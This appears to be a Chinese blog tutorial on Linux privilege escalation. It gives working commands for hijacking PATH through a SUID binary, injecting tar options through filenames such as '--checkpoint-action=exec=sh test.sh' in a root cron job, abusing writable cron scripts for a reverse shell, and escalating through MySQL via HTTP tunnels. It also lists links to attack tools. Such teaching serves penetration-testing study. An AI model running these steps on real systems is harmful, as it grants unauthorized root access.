目录
环境变量配合SUID
实战测试
原理分析
实战中如何发现挖掘这类安全问题
定时任务打包配合SUID
原理分析
定时任务权限配置不当
数据库提权-梭哈的艺术
隧道出网提权
环境变量配合SUID
实战测试
这个提权方法比较鸡肋,因为它需要两个前提条件:
- 1.需要复制suid权限
- 2.设置环境变量需要有本地用户权限,web权限设置不了
探针:
find / -user root -perm -4000 -print 2>/dev/null
探测除系统命令外管理员添加的具有suid权限的文件
root用户讲可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行
domo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps"); #system权限执行ps命令
}
ps自带的环境变量 路径:
[fragile@localhost tmp]# whereis ps
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz /usr/share/man/man1p/ps.1p.gz
编译demo文件重命名为shell(给到了suid权限),赋予执行权限 执行后运行ps命令
gcc demo.c -o shell
chmod u+s shell
普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
cp /bin/bash /104/ps
export PATH=/104:$PATH
./shell
id
原理分析
demo.c会执行ps命令,会调用系统的环境变量 路径:/bin/ps
root为了这个文件能被所有用户使用,就给它加上了suid权限
而且Linux系统的变量规则:执行ps时,会优先找当前目录有没,没有的话再往系统外找。
复制bash到当前目录取名为ps,demo.c执行ps命令时就会优先到当前目录的ps执行,而ps实际上是一个bash。
由于环境变量加了/104/ps,而/104/ps其实是/bash
就像与demo.c执行bash,直接完成提权
注:当前目录优先级高于环境变量
实战中如何发现挖掘这类安全问题
- 普通用户权限下先获取suid所有程序
- 去除系统自带的一些命令(筛选第三方程序)
- 对该程序进行反编译或者找源码 明白该程序的作用
- 思考该程序有无执行一些环境变量命令 (ps ping su sudo 等 比如该shell程序执行了ps命令)
- 尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)
定时任务打包配合SUID
背景:运维为了防止数据丢失等,写一个定时任务进行数据的打包压缩
数据打包命令可以尝试添加参数调用其他命令执行
tar zxf 1.tar.gz /var/www/*
提权通过获取计划任务执行文件信息进行提权
相对路径和绝对路径执行,计划任务命令存在参数调用
利用计划任务的备份功能tar命令的参数利用
定时任务crontab配置文件:
backup.sh
cd /tmp/;
tar czf /tmp/backup.tar.gz * #压缩当前目录所有文件至/tmp/backup.tar.gz
[root@localhost tmp]# cat /etc/crontab #定义每分钟执行一次脚本
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root /tmp/backup.sh
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
配合SUID提权
echo "" > "--checkpoint-action=exec=sh test.sh" #将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh #写入命令 chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh
等待触发定时任务
原理分析
定时任务执行/tmp/backup.sh
cd /tmp/;tar czf /tmp/backup.tar.gz *
tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh
tar czf /tmp/backup.tar.gz --checkpoint=1
定时任务进行文件压缩的时候利用tar命令进行命令执行 与文件名进行拼接 从而间接执行test.sh文件
执行当前目录的bash程序 借助suid进行bash提权
由于定时任务是root用户下发的,所以执行中是root权限
可能会出现的错误:/tmp/back.sh 权限不够
将backup.sh 权限设置为可执行就可以了
注:一般适用于本地用户提权 webshell权限可能看不了压缩后的目录文件
定时任务权限配置不当
Linux 下的每个文件都有以下三种权限
r:表示读取,对应的数字为 4
w:表示写入,对应的数字为 2
x:表示执行,对应的数字为 1
通过 4、2、1 的组合,进行权限分配
利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
什么意思呢?就是管理员或运维人员在使用定时任务进行bash脚本时,提前会赋予脚本执行权限
比如chmod +x xxx.sh chmod 555 xxx.sh 这些都是正常的,但是有些管理员可能会由于粗心直接设置chmod 777 xxx.sh 此时普通用户也具有w权限,即具有写入权限,拿到普通用户权限之后可以直接修改xxx.sh,比如在脚本中添加反弹shell命令,从而利用定时任务执行反弹shell(执行为root权限)。
定时任务是调用时是root权限
数据库提权-梭哈的艺术
背景:提权MySQL数据库时,发现数据库不允许外链,使用Root权限开启外链,但仍然失败
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
即使如此,仍然失败。经过分析得知:防火墙过滤,无法正向链接数据库。
策略有二:
- 手工提权,通过哥斯拉/冰蝎的数据库链接进行提权,相当于自己连自己
- 隧道出网,用外部或本机的工具项目提权,建立隧道
查看本地的网络连接情况
netstat -ano
隧道出网提权
靶机地址:vulnhub.com上
百度网盘 请输入提取码
提权的项目:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools
使用冰蝎进行内网穿透
这种方式是使用基于HTTP隧道的但端口映射
HTTP隧道(HTTP tunneling)是一种通过HTTP协议传输其他协议数据的技术。在网络环境中,有时候会限制某些协议的直接传输,例如SSH或其他非标准协议。通过HTTP隧道,可以将这些协议的数据封装在HTTP请求和响应中进行传输。
单端口映射是一种将外部网络流量通过一个端口映射到内部网络的技术。使用单端口映射可以使多个不同的协议流量通过同一个端口进行传输。
结合HTTP隧道和单端口映射,可以实现将其他协议的数据通过HTTP隧道传输,并映射到单个端口上的目标服务器上。
就是把3306的流量封装进入HTTP协议,通过80端口转发本机的3300端口。
进入提权页面
提权成功,这款工具支持多种数据库提权
当然也有手工提权的方式,但是建议使用工具,linux上的数据库提权其实和Windows差不多
如果你还对windows上数据库提权不熟悉的话,请参考我得另一篇博客:
Windows提权:利用MySQL数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
Windows提权:利用MSSQL数据库,Oracle数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
其它的数据库提权项目汇总:
MDUT 2.0 数据库利用工具 https://github.com/SafeGroceryStore/MDUT MDUT
综合高危漏洞利用工具(包含各大数据库) https://github.com/Liqunkit/LiqunKit_ LiqunKit
sqlserver利用工具 https://github.com/uknowsec/SharpSQLTools
SharpSQLTools 通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动
数据库攻击工具 https://github.com/quentinhardy/odat ODAT
https://github.com/blackarrowsec/mssqlproxy mssqlproxy ODAT:Oracle